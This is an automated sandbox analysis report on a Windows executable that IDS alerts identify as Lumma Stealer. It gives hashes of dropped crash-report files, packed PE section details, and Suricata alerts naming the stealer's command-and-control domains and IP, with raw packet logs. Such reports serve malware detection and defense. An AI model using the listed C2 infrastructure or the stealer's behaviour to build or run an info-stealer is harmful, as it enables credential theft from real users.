Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.3.5.2.1.3.6.0.0.6.6.9.6.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.3.5.2.1.3.8.0.8.4.8.1.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.b.3.2.6.0.e.d.-.7.2.4.a.-.4.2.b.7.-.8.c.d.0.-.f.6.e.1.e.5.b.0.2.d.b.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.4.b.d.d.8.4.0.-.c.8.d.8.-.4.6.5.d.-.8.3.5.3.-.f.c.b.1.3.a.7.6.2.f.8.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.2.0.-.0.0.0.1.-.0.0.1.4.-.4.f.f.d.-.a.d.d.5.e.d.1.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.d.d.0.f.6.8.f.3.0.a.7.0.4.6.7.4.9.d.0.6.f.1.0.b.2.5.9.6.a.e.a.0.2.e.3.3.c.d.2.b.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_51d3ab169e1892723c87a9e6928df66633d59e12_852b229c_53dca978-770f-4bbd-b782-bf3ee498f1fa\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0568826820053674
Encrypted:	false
SSDEEP:	192:PIzFcLVMvUPlA0ULPcI3juFSnDRzuiF9Z24IO8TVB:AUNbULPbjDdzuiF9Y4IO8X
MD5:	7F627E820782F41E9AC808804D4116AF
SHA1:	66BCE6F268A7C1B5C7F92FD345F41B32F12DE8B8
SHA-256:	491D1E1A593A005CAD9BDA132A4B3667C6DAF2774532AC5C26D487A1C054E94C
SHA-512:	11C63688A88639788318BFFB919309D88C8DC59FE6A4AFD26181EB1992215AA81B84AAF8B11ED9668AF0408CB064FEE04B2C2AB642D0465C7ACDF7E06258ECE8
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.3.5.2.1.5.4.1.7.4.5.5.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.3.5.2.1.5.4.5.8.0.7.9.3.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.3.d.c.a.9.7.8.-.7.7.0.f.-.4.b.b.d.-.b.7.8.2.-.b.f.3.e.e.4.9.8.f.1.f.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.4.9.1.1.f.a.9.-.b.c.d.0.-.4.1.7.c.-.a.f.b.2.-.b.e.4.e.0.d.7.4.6.c.d.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.2.0.-.0.0.0.1.-.0.0.1.4.-.4.f.f.d.-.a.d.d.5.e.d.1.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.d.d.0.f.6.8.f.3.0.a.7.0.4.6.7.4.9.d.0.6.f.1.0.b.2.5.9.6.a.e.a.0.2.e.3.3.c.d.2.b.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8296
Entropy (8bit):	3.6946497523330506
Encrypted:	false
SSDEEP:	192:R6l7wVeJ8Cb64hB6Y9FSU9cOFgmfBYJdTpDy89bLtsfMZm:R6lXJ/6g6Y/SU9c0gmf6JddLmfP
MD5:	1CC46192C6259C5478CED1FB6892EE06
SHA1:	6507C18FEC0ED7B060D3D823F530C4489B7A7171
SHA-256:	491A81ED05FE35C1A5958978C80103622D47181C2BAA723590EC7AD35EADAD36
SHA-512:	377BDD49BA3458358286677423B8C745461A92DD63F17E19ED8A3BD2D611FB67552AC3384D4AC4B10B1EAE1B16F5620FC9667867A7ACE12CEA1B6B1596518E29
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.3.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4560
Entropy (8bit):	4.426909273076922
Encrypted:	false
SSDEEP:	48:cvIwWl8zs1Jg77aI9YDWpW8VY5Ym8M4JjmFKv+q8LKWT61d:uIjfPI7+y7VJJLrWT61d
MD5:	5A028015B8D659D07A570BB028114F1B
SHA1:	3B7FDFE05280517FBFB0A381552B46B360B0F0FB
SHA-256:	BF4E6745A547EBF8F6F01F64BC0DD3947E87BA9E537BD576FEE460B7764A7B0B
SHA-512:	68FA939A2A5C87DF26F759E626ABF1BE53278DADE8281E0BB0C237F320A8AA7E51C0C109FDA0AB519B3FB91FDBA27E18770B5C43B0C8D2C7606EB6077303B1EE
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="542585" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER72.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 14 04:02:34 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	278390
Entropy (8bit):	1.5432941341684288
Encrypted:	false
SSDEEP:	768:yfQbAB5nYjJ0sfv0TPbqrzIDmbKYLAc40C:0QdfvgPbqrzIDmuYLH40C
MD5:	DA3EE3B26ABF1757FEB2BAFBF1520434
SHA1:	A719F57115206A3F0AB5FC765EA8A99B9116B826
SHA-256:	75119CA3201C061F22AD31AB494FF5A14CA5D7B6384CE1B089DF1CFA2909E225
SHA-512:	F0F8D64D55703747D67DE538D70BBC6A6A92D392657A1594AF3A5863BF39D46F67039A1A6EA9F7B3214426C52473B26922A5411BA29044C711BEA929D058D5E3
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........g........................T...........,....&.....................`.......8...........T............K..............((.........................................................................................eJ.............GenuineIntel............T....... ......g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB9A5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 14 04:02:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	282378
Entropy (8bit):	1.5392183625366482
Encrypted:	false
SSDEEP:	384:Ub5C6Ebu1UvlAB5AXcYVNa7eJuQmDiNbNzfJTjJ0uWF50i8Tke30GG9KhPf+vPw1:UboPVlAB5ArjNNqfv0QPzqrzKMmSnR
MD5:	A36813981A5D2D2D6C019F9E11C4723F
SHA1:	DC50B459018B621D33EFEE0021966670842E7634
SHA-256:	A8E53814F93A8510BE6CA410057154CAE91CB04581BE27695B82664286BC6528
SHA-512:	46F085ED2D538FB59B7E2F624A7CDE27296B6DCDD276CBDCCFCABFFCF81466DDE76A4354CE7852BB1AB46A0ABD560314BD3B5565736690854388EEAC0E291F40
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........g........................T...........,....&.....................`.......8...........T............K..2...........((.........................................................................................eJ.............GenuineIntel............T....... ......g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC00E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.701892865029331
Encrypted:	false
SSDEEP:	192:R6l7wVeJ8Cj+64hUf6Y9JSU9IfpRgmfB/JJmppr189bStsfNmm:R6lXJP+636YDSU9IfpRgmf5JJmWSmf1
MD5:	0C21B338DBA961A9453BBBD80EB68566
SHA1:	707460439D5A8583E63422C944C3C7C7FBBA1A3C
SHA-256:	F3E20EB506F6CA0CBE45669964D2AE17B7571EBED946181F8FCA5B47AC38193D
SHA-512:	CC0F991527F7811E486F120880F336B4CDE86B81E62352CBC7175D16E79F2171F5BAF60155911E4C96A3A65AFFA18ADE9F23853AFC3FD392E4FB1D17C5C54DB4
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.3.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC07D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4610
Entropy (8bit):	4.483359968294019
Encrypted:	false
SSDEEP:	48:cvIwWl8zseJg77aI9YDWpW8VYoYm8M4JjZF/+q8TLWT61d:uIjfUI7+y7VQJP8WT61d
MD5:	99846B91EF5A59F574A3D2D4A6A636FC
SHA1:	5E67641A55178E8776353FDEE59B126026525EA3
SHA-256:	CC3310954EB018DBA5B1EC3455F27B27A7585EFA418AA5B00FF4A7164DBF5554
SHA-512:	5A480CBE8BCDB4626211954C04AF6647F99EB4DBA86E87666234433994A679024DAF922B6266A11570E893E2302F3E7306A098C3378B5DF0DCE9A687D581C49E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="542584" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465299211998709
Encrypted:	false
SSDEEP:	6144:eIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbE:zXD94+WlLZMM6YFH1+E
MD5:	5C2D86DDA1D0227AED00C97564F4A383
SHA1:	2786281F959EC5AAF9AC5CA564B31363A6B522A3
SHA-256:	BBE39EE1D5E18E06CB36F7751FF59F36F61F990B0F26188D12C42ED4F8A592E0
SHA-512:	A4CEA1AF2F6E20096252C1F00D891953570DD8D1E49E00232701EB484078FA1EE8D96B777D7EA50DE3C2F93B52D8FF30074C0256BDBDD9A3536B792E82EF3BF4
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmf...................................................................................................................................................................................................................................................................................................................................................-r..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5130261410797345
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'019'264 bytes
MD5:	4f245878a56ed4c45fb3fda19421eda8
SHA1:	dd0f68f30a7046749d06f10b2596aea02e33cd2b
SHA256:	8422d35cff599297ee418fba71f575fb965f1fa508eea453b70b20495c3e685f
SHA512:	871810e471a5ade2b77a19f8a09e473be259fb963d9783b5ef235d4c813cb76e9c6a4ea2a80c276214aae07dd0ce3688c88e6c7526a8bd91a87193a1ff1ffb15
SSDEEP:	49152:DLyDCqqV4wZNsEhoqD/qHdGdfTShX5QOLc7n:DDqqV4wTssowEEG1L2n
TLSH:	41D539A2E44571CFD48A1BB8912BCD82599D47F90B3448C3DDACE4BABE63CC611B6C35
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................1...........@...........................1.....Z.....@.................................W...k..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x719000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE588DCB60Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	55d5f99f0f850222a14a5ea58ca68644	False	0.9995874587458746	data	7.982457602769494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
olqshizd	0x60000	0x2b8000	0x2b7a00	6cd96d8f241ee8e19b50e818e44cbfd6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fkdtcrjk	0x318000	0x1000	0x600	efcf48c18255ef38dc518e001b6680f9	False	0.5618489583333334	data	4.964627916924472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x319000	0x3000	0x2200	173702d32c0500cbf14e39f7a4de808f	False	0.06364889705882353	DOS executable (COM)	0.7903335899864196	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T06:02:09.411260+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	55342	1.1.1.1	53	UDP
2024-10-14T06:02:09.423858+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	59996	1.1.1.1	53	UDP
2024-10-14T06:02:09.435813+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	63999	1.1.1.1	53	UDP
2024-10-14T06:02:09.446730+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	49526	1.1.1.1	53	UDP
2024-10-14T06:02:09.458174+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	59098	1.1.1.1	53	UDP
2024-10-14T06:02:09.469485+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	52557	1.1.1.1	53	UDP
2024-10-14T06:02:09.480204+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	62111	1.1.1.1	53	UDP
2024-10-14T06:02:09.492154+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	56083	1.1.1.1	53	UDP
2024-10-14T06:02:10.854376+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49730	104.102.49.254	443	TCP
2024-10-14T06:02:11.646383+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-14T06:02:11.646383+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-14T06:02:14.004167+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	172.67.206.204	443	TCP
2024-10-14T06:02:14.004167+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	172.67.206.204	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 06:02:09.518909931 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:09.519005060 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:09.519099951 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:09.522371054 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:09.522391081 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.266798973 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.267030001 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.272212029 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.272237062 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.272769928 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.318890095 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.401532888 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.443429947 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.854377985 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.854403019 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.854476929 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.854526043 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.854520082 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.854593039 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.854624033 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.854654074 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.854654074 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.854654074 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.854691982 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.981868982 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.981895924 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.982008934 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.982079029 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.982114077 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.982136965 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.988842964 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.988954067 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:10.988992929 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:10.989041090 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:11.014372110 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:11.014415026 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:11.014442921 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 14, 2024 06:02:11.014457941 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 14, 2024 06:02:11.044862986 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.044914007 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.045007944 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.045352936 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.045373917 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.527852058 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.527965069 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.531795025 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.531806946 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.532073975 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.533644915 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.533688068 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 14, 2024 06:02:11.533747911 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 14, 2024 06:02:11.646167040 CEST	443	49731	172.67.206.204	192.168.2.4
